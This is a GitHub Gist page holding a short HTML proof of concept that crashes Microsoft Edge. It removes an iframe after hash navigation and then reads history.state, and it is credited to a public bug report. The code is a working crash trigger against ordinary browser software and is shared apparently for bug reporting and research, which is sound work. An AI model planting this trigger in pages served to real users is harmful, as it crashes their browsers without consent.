Skip to content

Instantly share code, notes, and snippets.

@h0wl
Last active December 12, 2015 09:51
Show Gist options
  • Star 4 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save h0wl/7a921a975a2fd83e11cf to your computer and use it in GitHub Desktop.
Save h0wl/7a921a975a2fd83e11cf to your computer and use it in GitHub Desktop.
Microsoft Edge Crash
<!-- based on https://connect.microsoft.com/IE/feedback/details/1683347/ms-edge-combination-of-iframe-anchor-hash-navigation-and-history-state-crashes-the-browse -->
<!doctype html>
<html>
<head>
<script>
function boom() {
var iframe = document.getElementById('iframe1');
document.location.href = '#';
iframe.parentNode.removeChild(iframe);
alert(history.state);
}
</script>
<body>
<div id="div1">
<iframe id="iframe1" width="400" height="400" src="http://bing.com"></iframe>
</div>
Perform any interaction within the iframe (such as click a link) and after that click the crash button
<input type="button" value="crash" onclick="boom();">
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment